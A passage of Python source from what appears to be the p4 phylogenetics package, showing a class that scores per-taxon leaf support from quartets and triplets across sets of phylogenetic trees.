[]\n            for l in n.iterLeaves():\n                name += l.name + '-'\n                list.append(l.name)\n            name = name[:len(name) - 1]\n            self.removeInfo.append([name, list])\n\n    def _replaceAndRemove(self):\n\n        first = True\n        for t in self.nonUnrootedTrees:\n            for info in self.removeInfo:\n                for n in t.root.iterPostOrder():\n                    if n.name == info[1][0]:\n                        n.name = info[0]\n                        break\n                for name in info[1][1:]:\n                    t.removeNode(name, alsoRemoveSingleChildParentNode=True,\n                                 alsoRemoveBiRoot=False, alsoRemoveSingleChildRoot=True)\n            if first:\n                first = False\n                t._setTaxNamesFromLeaves()\n                taxnames = t.taxNames\n            else:\n                t.taxNames = taxnames\n\n    def saveTrees(self, filename):\n        self.nonUnrootedTrees[0]._setTaxNamesFromLeaves()\n        trees = Trees(self.nonUnrootedTrees)\n        trees.writeBranchLengths = False\n        trees.writeNexus(filename, withTranslation=1)\n\n    def getTrees(self):\n        return self.nonUnrootedTrees\n\n    def _printTrees(self):\n        for t in self.nonUnrootedTrees:\n            t.draw()\n\n    def printConsensus(self):\n        self._buildConsensus()\n        self.consensusTree.draw(width=80, showNodeNums=0)\n\n    def removeCherries(self):\n\n        self._buildConsensus()\n\n        self._identifySubtreesForRemoval()\n\n        self._buildRemoveInfo()\n\n        self._replaceAndRemove()\n\n\nclass LeafSupport(object):\n\n    def __init__(self, inputTrees, identicalTaxaSets=True, removeCherries=False):\n        \"\"\"Calculates three different leaf support values for the taxa.\n\n        The inputTrees arg should be a tree file or a list of p4 Tree objects. \n\n\n        rooted=True  - if the trees are to be treated as rooted \n        rooted=False - if the trees are to be treated as unrooted\n        (True by default)\n\n        identicalTaxaSets=True - if all trees have identical sets of taxa  \n        identicalTaxaSets=False- if sets of taxa differ among trees\n\n        equalDistUnresolved=True - if any unresolved quartets or\n                                   triplets should be evenly divided\n                                   among the resolved\n        equalDistUnresolved=False - if distributed according the the\n                                    distribution of the resolved\n                                    quartets/triplets\n        (True by default)\n\n        treatUnresolvedAsValid=True - if unresolved quartet/triplets\n                                      should be treated as a valid\n                                      option, ie polytomies are\n                                      accepted\n        treatUnresolvedAsValid=False - polytomies should be treated as\n                                      unwanted and included taxa\n                                      punished\n        (True by default)\n\n        exploreClades=True - will find all clades that are present in\n                                      all input trees. Each clade will\n                                      be analysed separately and\n                                      thereby possibly giving more\n                                      information on clades that are\n                                      omnipresent but not identical in\n                                      all input trees.\n        (False by default)\n\n        eg\n\n            ls = LeafSupport(filename.nex)\n            ls.rooted=False\n            ls.leafSupport()\n\n        for unrooted trees\n        and\n\n            ls = LeafSupport(filename.nex)\n            ls.leafSupport()\n\n        for rooted\n\n        The resulting leaf support will be presented in a matrix where each taxa have three support values.\n        Maximum - the average maximum support for the taxa. Higher is better\n        Difference - the average difference betwen the maximum support and the second highest support.  Higher is better\n        Entropy - the entropy among the highest, medium and lowest support for the taxa. Lower is better.\n        \"\"\"\n        self.rooted = True\n        self.exploreClades = False\n        self.cladePercentage = 100\n        self.identicalTaxaSets = identicalTaxaSets\n        self.equalDistUnresolved = True\n        self.treatUnresolvedAsValid = True\n        self.writeCsv = False\n        self.csvFilename = 'leafSupport.csv'\n        self.useAllQuartets = True\n        # Proportion of the total amount of possible quartets\n        self.noQuartetsToUse = 0.1\n\n        # Tobias -- Why is this here?\n        # if not self.identicalTaxaSets:\n        #    var.allowTreesWithDifferingTaxonSets = True\n\n        gm = ['LeafSupport.__init__(filename)']\n        self.inputTrees = []\n        if isinstance(inputTrees, list):\n            for t in inputTrees:\n                if not isinstance(t, Tree):\n                    gm.append(\n                        \"Input trees should be a list of p4 Tree objects. Got %s\" % t)\n                    raise P4Error(gm)\n            self.inputTrees = inputTrees\n        elif isinstance(inputTrees, str):\n            var.trees = []\n            read(inputTrees)\n            if len(var.trees) < 1:\n                gm.append(\n                    'Sorry, at least one tree must be supplied as input tree')\n                raise P4Error(gm)\n            self.inputTrees = var.trees\n        else:\n            gm.append(\n                \"Input trees are neither a list of p4 Tree objects nor a valid filename.\")\n            raise P4Error(gm)\n\n        self.groups = []\n        self.clades = []\n        self.taxSets = []\n        self.init = False\n\n    def _init(self):\n        if self.init:\n            return\n\n        self.init = True\n\n        uniqueSet = set()\n        if self.identicalTaxaSets:\n            t = self.inputTrees[0]\n            if not t._taxNames:\n                t._setTaxNamesFromLeaves()\n            taxnames = t.taxNames\n        else:\n            taxnames = []\n            for t in self.inputTrees:\n                if not t._taxNames:\n                    t._setTaxNamesFromLeaves()\n                for name in t.taxNames:\n                    uniqueSet.add(name)\n\n            for taxa in uniqueSet:\n                taxnames.append(taxa)\n\n        taxnames.sort()\n        self.taxnames = taxnames\n\n        self.sorted2QuartetType = {}\n\n        self.taxa2IndexDict = {}\n        self.index2TaxaDict = {}\n        self.bitkeys = []\n        self.bitkey2Index = {}\n        self.index2TaxaDict[-1] = ROOT_NODE_NAME\n        self.taxa2IndexDict[ROOT_NODE_NAME] = -1\n        for i in range(len(taxnames)):\n            self.taxa2IndexDict[taxnames[i]] = i\n            self.index2TaxaDict[i] = taxnames[i]\n            self.bitkeys.append(1 << i)\n\n            self.bitkey2Index[1 << i] = i\n\n        st = SplitStripper()\n        for t in self.inputTrees:\n            st.buildInformativeSplitsFromTree(t, self.taxnames)\n            st.reset()\n\n        self.buildSortedQuartetList()\n\n    def printTaxnames(self):\n\n        index = 0\n        print('Index, taxname')\n        for name in self.taxnames:\n            print('%s, %s' % (index, name))\n            index = index + 1\n\n    def defineGroup(self, list):   # isn't \"list\" a reserved word.  It is at least a type.  Does this work?\n        if not self.init:\n            self._init()\n        gm = ['defineGroup.(list))']\n        if not isinstance(list, list):\n            gm.append('Input must be a list of taxnames and/or taxnumbers')\n            raise P4Error(gm)\n        group = []\n        for i in list:\n            if i in self.taxa2IndexDict:\n                # print 'Taxname: %s, %s' % (i, self.taxa2IndexDict[i])\n                group.append(self.taxa2IndexDict[i])\n            elif i in self.index2TaxaDict:\n                #        print 'Index: %s, %s' % (self.index2TaxaDict[i], i)\n                group.append(i)\n            else:\n                gm.append('%s is not a tax name or number.' % (i))\n                raise P4Error(gm)\n\n        #    print ''\n        # print group\n        group.sort()\n        tuple = ()\n        for i in group:\n            tuple = tuple + (i, )\n        self.groups.append(tuple)\n\n    def defineTaxSet(self, list):\n        if not self.init:\n            self._init()\n        gm = ['defineTaxSet.(list))']\n        if not isinstance(list, list):\n            gm.append('Input must be a list of taxnames and/or taxnumbers')\n            raise P4Error(gm)\n        taxSet = []\n        for i in list:\n            if i in self.taxa2IndexDict:\n                #        print 'Taxname: %s, %s' % (i, self.taxa2IndexDict[i])\n                taxSet.append(self.taxa2IndexDict[i])\n            elif i in self.index2TaxaDict:\n                #        print 'Index: %s, %s' % (self.index2TaxaDict[i], i)\n                taxSet.append(i)\n            else:\n                gm.append('%s is not a tax name or number' % (i))\n                raise P4Error(gm)\n        #    print ''\n        # print group\n        taxSet.sort()\n        tuple = ()\n        for i in taxSet:\n            tuple = tuple + (i, )\n        self.taxSets.append(tuple)\n\n    def defineClade(self, list):\n        if not self.init:\n            self._init()\n        gm = ['defineClade.(list))']\n        if not isinstance(list, list):\n            gm.append('Input must be a list of taxnames and/or taxnumbers')\n            raise P4Error(gm)\n        clade = []\n        for i in list:\n            if i in self.taxa2IndexDict:\n                #        print 'Taxname: %s, %s' % (i, self.taxa2IndexDict[i])\n                clade.append(i)\n            elif i in self.index2TaxaDict:\n                #        print 'Index: %s, %s' % (self.index2TaxaDict[i], i)\n                clade.append(self.index2TaxaDict[i])\n            else:\n                gm.append('%s is not a tax name or number' % (i))\n                raise P4Error(gm)\n\n        #    print ''\n        # print clade\n        clade.sort()\n        tuple = ()\n        for i in clade:\n            tuple = tuple + (i, )\n        self.clades.append(tuple)\n\n    def buildSortedQuartetList(self):\n\n        noTaxnames = len(self.taxnames)\n\n        self.sortedQuartets = []\n\n        if self.useAllQuartets:\n            if self.rooted:\n                for index in range(noTaxnames - 2):\n                    for j in range(index + 1, noTaxnames - 1):\n                        for k in range(j + 1, noTaxnames):\n                            self.sortedQuartets.append(\n                                (-1, self.bitkeys[index], self.bitkeys[j], self.bitkeys[k]))\n            else:\n                for index in range(noTaxnames - 3):\n                    for j in range(index + 1, noTaxnames - 2):\n                        for k in range(j + 1, noTaxnames - 1):\n                            for l in range(k + 1, noTaxnames):\n                                self.sortedQuartets.append(\n                                    (self.bitkeys[index], self.bitkeys[j], self.bitkeys[k], self.bitkeys[l]))\n        else:\n            taxon = 4\n            if self.rooted:\n                taxon = 3\n            noOfPossibleQuartets = factorial(\n                noTaxnames) / (factorial(taxon) * factorial(noTaxnames - taxon))\n\n            quartetsToUse = int(noOfPossibleQuartets * self.noQuartetsToUse)\n\n            print('Using %s quartets out of %s possible' % (quartetsToUse, noOfPossibleQuartets))\n#            print 'Quartets to use: ', quartetsToUse\n#            print 'Number of taxa:  ',noTaxnames\n\n            quartetDict = {}\n            if self.rooted:\n                i = 0\n                while i < quartetsToUse:\n                    for index in range(noTaxnames - 2):\n                        tuple = (-1, self.bitkeys[index])\n\n                        taxa = []\n                        taxa.append(random.randint(index + 1, noTaxnames - 1))\n                        taxa.append(random.randint(index + 1, noTaxnames - 1))\n\n                        while taxa[1] == taxa[0]:\n                            taxa[1] = random.randint(index + 1, noTaxnames - 1)\n                        taxa.sort()\n                        tuple += (self.bitkeys[taxa[0]], self.bitkeys[taxa[1]])\n                        if tuple not in quartetDict:\n                            quartetDict[tuple] = 1\n                            self.sortedQuartets.append(tuple)\n                            i += 1\n            else:\n                i = 0\n                while i < quartetsToUse:\n                    for index in range(noTaxnames - 3):\n                        tuple = (self.bitkeys[index],)\n\n                        taxa = []\n                        taxa.append(random.randint(index + 1, noTaxnames - 1))\n                        taxa.append(random.randint(index + 1, noTaxnames - 1))\n\n                        while taxa[1] == taxa[0]:\n                            taxa[1] = random.randint(index + 1, noTaxnames - 1)\n\n                        taxa.append(random.randint(index + 1, noTaxnames - 1))\n                        while taxa[2] == taxa[1] or taxa[2] == taxa[0]:\n                            taxa[2] = random.randint(index + 1, noTaxnames - 1)\n                        taxa.sort()\n                        tuple += (self.bitkeys[taxa[0]],\n                                  self.bitkeys[taxa[1]], self.bitkeys[taxa[2]])\n                        if tuple not in quartetDict:\n                            self.sortedQuartets.append(tuple)\n                            i += 1\n\n    def updateQuartetDicts(self, t, weight, taxa2index):\n\n        for quartet in self.sortedQuartets:\n\n            resolutionFound = False\n            for split in t.splits:\n\n                if self.rooted:\n                    hits = 0\n                    one = False\n                    two = False\n                    three = False\n                    if quartet[1] & split:\n                        hits += 1\n                        one = True\n                    if quartet[2] & split:\n                        hits += 1\n                        two = True\n                    if quartet[3] & split:\n                        hits += 1\n                        three = True\n\n                    if hits == 2:\n                        if one and two:\n                            q = ((quartet[0], self.bitkey2Index[quartet[3]]), (self.bitkey2Index[\n                                 quartet[1]], self.bitkey2Index[quartet[2]]))\n                            self.updateDicts(quartet, q, 1, weight, taxa2index)\n                            resolutionFound = True\n                            break\n\n                        if one and three:\n                            q = ((quartet[0], self.bitkey2Index[quartet[2]]), (self.bitkey2Index[\n                                 quartet[1]], self.bitkey2Index[quartet[3]]))\n                            self.updateDicts(quartet, q, 2, weight, taxa2index)\n                            resolutionFound = True\n                            break\n                        if two and three:\n                            q = ((quartet[0], self.bitkey2Index[quartet[1]]), (self.bitkey2Index[\n                                 quartet[2]], self.bitkey2Index[quartet[3]]))\n                            self.updateDicts(quartet, q, 3, weight, taxa2index)\n                            resolutionFound = True\n                            break\n\n                else:\n                    hits = 0\n                    one = False\n                    two = False\n                    three = False\n                    four = False\n                    if quartet[0] & split:\n                        hits += 1\n                        one = True\n                    if quartet[1] & split:\n                        hits += 1\n                        two = True\n                    if quartet[2] & split:\n                        hits += 1\n                        three = True\n                    if quartet[3] & split:\n                        hits += 1\n                        four = True\n\n                    if hits == 2:\n\n                        if one and two or three and four:\n                            q = ((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                 quartet[1]]), (self.bitkey2Index[quartet[2]], self.bitkey2Index[quartet[3]]))\n                            self.updateDicts(quartet, q, 1, weight, taxa2index)\n                            resolutionFound = True\n                            break\n\n                        if one and three or two and four:\n                            q = ((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                 quartet[2]]), (self.bitkey2Index[quartet[1]], self.bitkey2Index[quartet[3]]))\n                            self.updateDicts(quartet, q, 2, weight, taxa2index)\n                            resolutionFound = True\n                            break\n\n                        if one and four or two and three:\n                            q = ((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                 quartet[3]]), (self.bitkey2Index[quartet[1]], self.bitkey2Index[quartet[2]]))\n                            self.updateDicts(quartet, q, 3, weight, taxa2index)\n                            resolutionFound = True\n                            break\n\n            if not resolutionFound:\n                if self.rooted:\n                    q = ((quartet[0], self.bitkey2Index[quartet[1]], self.bitkey2Index[\n                         quartet[2]], self.bitkey2Index[quartet[3]]),)\n                else:\n                    q = ((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                         quartet[1]], self.bitkey2Index[quartet[2]], self.bitkey2Index[quartet[3]]),)\n\n                self.updateDicts(quartet, q, 4, weight, taxa2index)\n\n    def getQuartetsFromTree(self, t, weight, taxa2index):\n\n        quartets = []\n        for quartet in self.sortedQuartets:\n\n            resolutionFound = False\n            for split in t.splits:\n\n                if self.rooted:\n                    hits = 0\n                    one = False\n                    two = False\n                    three = False\n                    if quartet[1] & split:\n                        hits += 1\n                        one = True\n                    if quartet[2] & split:\n                        hits += 1\n                        two = True\n                    if quartet[3] & split:\n                        hits += 1\n                        three = True\n\n                    if hits == 2:\n                        if one and two:\n                            q = ((quartet[0], self.bitkey2Index[quartet[3]]), (self.bitkey2Index[\n                                 quartet[1]], self.bitkey2Index[quartet[2]]))\n                            self.updateDicts(quartet, q, 1, weight, taxa2index)\n                            quartets.append(((quartet[0], self.bitkey2Index[\n                                            quartet[3]]), (self.bitkey2Index[quartet[1]], self.bitkey2Index[quartet[2]])))\n                            resolutionFound = True\n                            break\n\n                        if one and three:\n                            q = ((quartet[0], self.bitkey2Index[quartet[2]]), (self.bitkey2Index[\n                                 quartet[1]], self.bitkey2Index[quartet[3]]))\n                            self.updateDicts(quartet, q, 2, weight, taxa2index)\n                            quartets.append(((quartet[0], self.bitkey2Index[\n                                            quartet[2]]), (self.bitkey2Index[quartet[1]], self.bitkey2Index[quartet[3]])))\n                            resolutionFound = True\n                            break\n                        if two and three:\n                            q = ((quartet[0], self.bitkey2Index[quartet[1]]), (self.bitkey2Index[\n                                 quartet[2]], self.bitkey2Index[quartet[3]]))\n                            self.updateDicts(quartet, q, 3, weight, taxa2index)\n                            quartets.append(((quartet[0], self.bitkey2Index[\n                                            quartet[1]]), (self.bitkey2Index[quartet[2]], self.bitkey2Index[quartet[3]])))\n                            resolutionFound = True\n                            break\n\n                else:\n                    hits = 0\n                    one = False\n                    two = False\n                    three = False\n                    four = False\n                    if quartet[0] & split:\n                        hits += 1\n                        one = True\n                    if quartet[1] & split:\n                        hits += 1\n                        two = True\n                    if quartet[2] & split:\n                        hits += 1\n                        three = True\n                    if quartet[3] & split:\n                        hits += 1\n                        four = True\n\n                    if hits == 2:\n\n                        if one and two or three and four:\n                            q = ((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                 quartet[1]]), (self.bitkey2Index[quartet[2]], self.bitkey2Index[quartet[3]]))\n                            self.updateDicts(quartet, q, 1, weight, taxa2index)\n                            quartets.append(((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                            quartet[1]]), (self.bitkey2Index[quartet[2]], self.bitkey2Index[quartet[3]])))\n                            resolutionFound = True\n                            break\n\n                        if one and three or two and four:\n                            q = ((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                 quartet[2]]), (self.bitkey2Index[quartet[1]], self.bitkey2Index[quartet[3]]))\n                            self.updateDicts(quartet, q, 2, weight, taxa2index)\n                            quartets.append(((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                            quartet[2]]), (self.bitkey2Index[quartet[1]], self.bitkey2Index[quartet[3]])))\n                            resolutionFound = True\n                            break\n\n                        if one and four or two and three:\n                            q = ((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                 quartet[3]]), (self.bitkey2Index[quartet[1]], self.bitkey2Index[quartet[2]]))\n                            self.updateDicts(quartet, q, 3, weight, taxa2index)\n                            quartets.append(((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                            quartet[3]]), (self.bitkey2Index[quartet[1]], self.bitkey2Index[quartet[2]])))\n                            resolutionFound = True\n                            break\n\n            if not resolutionFound:\n                if self.rooted:\n                    q = ((quartet[0], self.bitkey2Index[quartet[1]], self.bitkey2Index[\n                         quartet[2]], self.bitkey2Index[quartet[3]]),)\n                    quartets.append(((quartet[0], self.bitkey2Index[quartet[1]], self.bitkey2Index[\n                                    quartet[2]], self.bitkey2Index[quartet[3]]),))\n                else:\n                    q = ((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                         quartet[1]], self.bitkey2Index[quartet[2]], self.bitkey2Index[quartet[3]]),)\n                    quartets.append(((self.bitkey2Index[quartet[0]], self.bitkey2Index[\n                                    quartet[1]], self.bitkey2Index[quartet[2]], self.bitkey2Index[quartet[3]]),))\n\n                self.updateDicts(quartet, q, 4, weight, taxa2index)\n\n#        noTaxnames = len(self.taxnames)\n#        taxon = 4\n#        if self.rooted:\n#            taxon = 3\n#        noOfPossibleQuartets = factorial(noTaxnames) / ( factorial(taxon) * factorial(noTaxnames - taxon) )\n#        if len(quartets) != noOfPossibleQuartets:\n#            print 'Quartets: ', len(quartets)\n#            print 'Possible quartets: ', noOfPossibleQuartets\n\n# print\n# '------------------------------------------------------------------------------------------'\n        return quartets\n\n    def updateDicts(self, sortedQuartet, quartet, quartetType, weight, taxa2index):\n\n        #        if sortedQuartet in self.sorted2QuartetType:\n        #            print self.sorted2QuartetType[sortedQuartet]\n        #        else:\n        #            print 'Sorted quartet not present'\n        #        print sortedQuartet\n        #        print quartet\n        #        print quartetType\n\n        if sortedQuartet in self.sorted2QuartetType:\n            if quartetType in self.sorted2QuartetType[sortedQuartet]:\n                #                print '   1'\n                self.sorted2QuartetType[sortedQuartet][quartetType] = self.sorted2QuartetType[\n                    sortedQuartet][quartetType] + weight\n            else:\n                #                print '   2'\n                self.sorted2QuartetType[sortedQuartet][quartetType] = weight\n        else:\n            #            print '   3'\n            dict = {}\n            dict[quartetType] = weight\n            self.sorted2QuartetType[sortedQuartet] = dict\n\n    def leafSupport(self):\n\n        if not self.init:\n            self._init()\n\n        if self.exploreClades or len(self.clades) > 0:\n            cladeStripper = CladeStripper()\n\n        # print 'Leaf stabilites for trees from %s' % (filename)\n        # print 'Processing trees'\n        print('Calculating leaf support')\n        sys.stdout.flush()\n\n        quartet2index = {}\n        index2Quartet = {}\n        taxa2index = {}\n\n        self.sumOfWeights = 0.0\n        cladeDict = {}\n\n        index = 0\n\n        treeIndex = 0\n        sampler = 1\n        if len(self.inputTrees) > 20:\n            sampler = int(float(len(self.inputTrees) / 20))\n        sys.stdout.write('0%                    100%\\n')\n        sys.stdout.write('  ')\n        sys.stdout.flush()\n\n        for t in self.inputTrees:\n            treeIndex += 1\n            if (treeIndex + 1) % sampler == 0:\n                sys.stdout.write('.')\n                sys.stdout.flush()\n\n            t.setPreAndPostOrder()\n            weight = 1.0\n            if hasattr(t, \"weight\"):\n                if t.weight != None:\n                    weight = t.weight\n            elif hasattr(t, \"recipWeight\"):\n                if t.recipWeight != None:\n                    weight = 1.0 / int(t.recipWeight)\n            self.sumOfWeights += weight\n            # print 'TreeIndex: ', treeIndex\n            # print 'Quartets: ', len(quartetStripper.getQuartetSet(False, t, self.taxa2IndexDict))\n            # quartetStripper.reset()\n\n            if self.exploreClades or len(self.clades) > 0:\n                cladeStripper.reset()\n                for clade in cladeStripper.getCladesFromTree(t):\n                    if len(clade) > 3:\n                        if clade in cladeDict:\n                            cladeDict[clade] = cladeDict[clade] + weight\n                        else:\n                            cladeDict[clade] = weight\n\n            self.updateQuartetDicts(t, weight, taxa2index)\n            #self.getQuartetsFromTree(t, weight, taxa2index)\n\n        sys.stdout.write('\\n')\n        sys.stdout.flush()\n\n        scoreDict = self.calcQuickScores(\n            self.sorted2QuartetType, self.treatUnresolvedAsValid, self.equalDistUnresolved)\n\n        resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning = self.formatResults(\n            scoreDict, self.index2TaxaDict)\n\n        results = [\n            [resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning]]\n\n        groupResults = []\n\n        if self.exploreClades:\n            omnipresentClades = []\n            for clade, hits in cladeDict.items():\n                if hits >= self.sumOfWeights * self.cladePercentage / 100.0:\n                    tuple = ()\n                    for name in clade:\n                        tuple = tuple + (self.taxa2IndexDict[name],)\n\n                    omnipresentClades.append(\n                        [tuple, (hits / float(self.sumOfWeights)) * 100])\n\n            if len(omnipresentClades) == 0:\n                print('Sorry, no clades matching the %s proportion found in the input trees' % (self.cladePercentage))\n\n            omnipresentClades = sorted(omnipresentClades, self._hitsCmp)\n\n            for clade in omnipresentClades:\n                translatedClade = ()\n                for i in clade[0]:\n                    translatedClade = translatedClade + \\\n                        (self.index2TaxaDict[i],)\n                scoreDict = self.calcLimitedSetScores(\n                    self.sorted2QuartetType, index2Quartet, self.treatUnresolvedAsValid, self.equalDistUnresolved, clade[0])\n                resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning = self.formatResults(\n                    scoreDict, self.index2TaxaDict)\n                results.append([resultList, maxAverage, diffAverage, entAverage,\n                                diffWarning, entWarning, translatedClade, clade[1]])\n\n        if len(self.clades) > 0:\n            for clade in self.clades:\n                hits = 0.0\n                if clade in cladeDict:\n                    hits = (cladeDict[clade] / float(self.sumOfWeights)) * 100\n                translatedClade = ()\n                for name in clade:\n                    translatedClade = translatedClade + \\\n                        (self.taxa2IndexDict[name],)\n\n                scoreDict = self.calcLimitedSetScores(\n                    self.sorted2QuartetType, index2Quartet, self.treatUnresolvedAsValid, self.equalDistUnresolved, translatedClade)\n                if len(scoreDict.keys()) > 0:\n                    resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning = self.formatResults(\n                        scoreDict, self.index2TaxaDict)\n                    results.append(\n                        [resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning, translatedClade, hits])\n\n        if len(self.taxSets) > 0:\n            for taxSet in self.taxSets:\n                scoreDict = self.calcLimitedSetScores(\n                    self.sorted2QuartetType, index2Quartet, self.treatUnresolvedAsValid, self.equalDistUnresolved, taxSet)\n#                scoreDict = self.calcMemberScores(taxa2index, index2Quartet, taxSet)\n\n                if len(scoreDict.keys()) > 0:\n                    resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning = self.formatResults(\n                        scoreDict, self.index2TaxaDict)\n                    results.append(\n                        [resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning, taxSet, 0.0])\n\n        if len(self.groups) > 0:\n            for group in self.groups:\n                scoreDict = self.calcMemberScores(\n                    self.sorted2QuartetType, index2Quartet, group)\n\n                if len(scoreDict.keys()) > 0:\n                    member = {}\n                    nonMember = {}\n                    for i, j in scoreDict.items():\n                        # print '%s, %s' % (self.index2TaxaDict[i],j)\n                        if i in group:\n                            member[i] = j\n                        else:\n                            nonMember[i] = j\n\n                    resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning = self.formatResults(\n                        member, self.index2TaxaDict)\n                    nMresultList, nMmaxAverage, nMdiffAverage, nMentAverage, nMdiffWarning, nMentWarning = self.formatResults(\n                        nonMember, self.index2TaxaDict)\n\n#                    resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning = self.formatResults(scoreDict, self.index2TaxaDict)\n                    groupResults.append([[resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning, group, 0.0], [\n                                        nMresultList, nMmaxAverage, nMdiffAverage, nMentAverage, nMdiffWarning, nMentWarning, 0.0]])\n#                    results.append([resultList, maxAverage, diffAverage, entAverage, diffWarning, entWarning, group, 0.0])\n                else:\n                    print('Zero length')\n        if self.writeCsv:\n            writer = csv.writer(open(self.csvFilename, \"wb\"))\n            list = []\n            for result in results:\n                if len(result) == 6:\n                    list.append(['All taxa'])\n                    list.append(['Percentage: ', 100.0])\n                    self.csvListFromResult(result, list)\n                    list.append([])\n                else:\n                    if result[7] > 0.0:\n                        clade = ['Clade: ']\n                        clade.extend(result[6])\n                        list.append(clade)\n                        list.append(['Percentage: ', result[7]])\n                    else:\n                        list.append(['Taxon set'])\n\n                    self.csvListFromResult(result, list)\n                    list.append([])\n\n            for result in groupResults:\n                list.append(['Groupmembership'])\n                list.append(['Members'])\n                self.csvListFromResult(result[0], list)\n                list.append(['Nonmembers'])\n                self.csvListFromResult(result[1], list)\n                list.append([])\n\n            writer.writerows(list)\n\n        for result in results:\n            ##            self.printSupportTable(result[0],result[1], result[2], result[3], result[4], result[5])\n            if len(result) == 6:\n                print('All taxa')\n                self.printSupportTable(\n                    result[0], result[1], result[2], result[3], result[4], result[5])\n                print('')\n            else:\n                if result[7] > 0.0:\n                    print('Clade appears in %s percent of the trees ' % (result[7]))\n                else:\n                    print('Taxon set')\n                self.printSupportTable(\n                    result[0], result[1], result[2], result[3], result[4], result[5])\n                print('')\n\n        for result in groupResults:\n            print('Group membership')\n            self.printGroupSupportTable(result)\n            print('')\n\n    def _hitsCmp(self, one, other):\n        return int(other[1]) - int(one[1])\n\n    def calcLimitedSetScores(self, taxa2index, index2Quartet, treatUnresolvedAsValid, equalDistUnresolved, clade):\n        scoreDict = {}\n        for sortedQuartet, dict in taxa2index.items():\n            firstTaxon = -1\n            if not self.rooted:\n                firstTaxon = self.bitkey2Index[sortedQuartet[0]]\n            if self._isCladeContainingQuartet(clade, (firstTaxon, self.bitkey2Index[sortedQuartet[1]],\n                                                      self.bitkey2Index[sortedQuartet[2]], self.bitkey2Index[sortedQuartet[3]])):\n                quartets = []\n                for index, no in dict.items():\n                    quartets.append(\n                        self.buildQuartet(index, no, sortedQuartet))\n\n                if len(quartets) > 0:\n\n                    max, diff, ent = self.calcAvgDiffEnt(\n                        quartets, treatUnresolvedAsValid, equalDistUnresolved)\n\n                    for taxon in sortedQuartet:\n                        if taxon >= 0:\n                            taxa = self.bitkey2Index[taxon]\n                            if taxa in scoreDict:\n                                list = scoreDict[taxa]\n                                scoreDict[taxa] = [\n                                    list[0] + max, list[1] + diff, list[2] + ent, list[3] + 1]\n                            else:\n                                scoreDict[taxa] = [max, diff, ent, 1]\n        return scoreDict\n\n    def _isCladeContainingQuartet(self, clade, quartet):\n\n        for taxa in quartet:\n            if taxa != -1:\n                damned = True\n                for i in clade:\n                    if i == taxa:\n                        damned = False\n                if damned:\n                    return False\n        return True\n\n    def calcMemberScores(self, taxa2index, index2Quartet, group):\n        scoreDict = {}\n        for sortedQuartet, dict in self.sorted2QuartetType.items():\n            firstTaxon = -1\n            if not self.rooted:\n                firstTaxon = self.bitkey2Index[sortedQuartet[0]]\n            if self._isCladeContainingHalfQuartet(group, (firstTaxon, self.bitkey2Index[sortedQuartet[1]],\n                                                          self.bitkey2Index[sortedQuartet[2]], self.bitkey2Index[sortedQuartet[3]])):\n                quartets = []\n                for index, no in dict.items():\n                    q = self.buildQuartet(index, no, sortedQuartet)\n                    if self._isGroupHalfQuartet(group, q[0]):\n                        quartets.append(q)\n                if len(quartets) > 0:\n                    max, diff, ent = self.calcAvgDiffEnt(\n                        quartets, self.treatUnresolvedAsValid, self.equalDistUnresolved)\n\n                    for taxon in sortedQuartet:\n                        if taxon >= 0:\n                            taxa = self.bitkey2Index[taxon]\n                            if taxa in scoreDict:\n                                list = scoreDict[taxa]\n                                scoreDict[taxa] = [\n                                    list[0] + max, list[1] + diff, list[2] + ent, list[3] + 1]\n                            else:\n                                scoreDict[taxa] = [max, diff, ent, 1]\n        return scoreDict\n\n    def _isGroupHalfQuartet(self, group, quartet):\n        if len(quartet[0]) > 2:\n            return False\n        first = False\n        second = False\n        third = False\n        fourth = False\n\n        for i in group:\n            if i == quartet[0][0]:\n                first = True\n            if i == quartet[0][1]:\n                second = True\n            if i == quartet[1][0]:\n                third = True\n            if i == quartet[1][1]:\n                fourth = True\n\n        if first and second and not (third or fourth):\n            return True\n        if third and fourth and not (first and second):\n            return True\n\n        return False\n\n    def _isCladeContainingHalfQuartet(self, group, quartet):\n\n        #        print 'group:   ', group\n        #        print 'quartet: ', quartet\n\n        truths = []\n        for i in group:\n            if i == quartet[0]:\n                truths.append(True)\n            if i == quartet[1]:\n                truths.append(True)\n            if i == quartet[2]:\n                truths.append(True)\n            if i == quartet[3]:\n                truths.append(True)\n\n        if len(truths) == 2:\n            return True\n\n        return False\n\n    def buildQuartet(self, quartetType, weight, sortedQuartet):\n        q = 0\n        firstTaxon = -1\n        if not self.rooted:\n            firstTaxon = self.bitkey2Index[sortedQuartet[0]]\n\n        if quartetType == 1:\n            q = (((firstTaxon, self.bitkey2Index[sortedQuartet[1]]),\n                  (self.bitkey2Index[sortedQuartet[2]], self.bitkey2Index[sortedQuartet[3]])), weight)\n\n        if quartetType == 2:\n            q = (((firstTaxon, self.bitkey2Index[sortedQuartet[2]]),\n                  (self.bitkey2Index[sortedQuartet[1]], self.bitkey2Index[sortedQuartet[3]])), weight)\n\n        if quartetType == 3:\n            q = (((firstTaxon, self.bitkey2Index[sortedQuartet[3]]),\n                  (self.bitkey2Index[sortedQuartet[1]], self.bitkey2Index[sortedQuartet[2]])), weight)\n        if quartetType == 4:\n            q = (((firstTaxon, self.bitkey2Index[sortedQuartet[1]],\n                   self.bitkey2Index[sortedQuartet[2]], self.bitkey2Index[sortedQuartet[3]]),), weight)\n        return q\n\n    def calcQuickScores(self, taxa2index, treatUnresolvedAsValid, 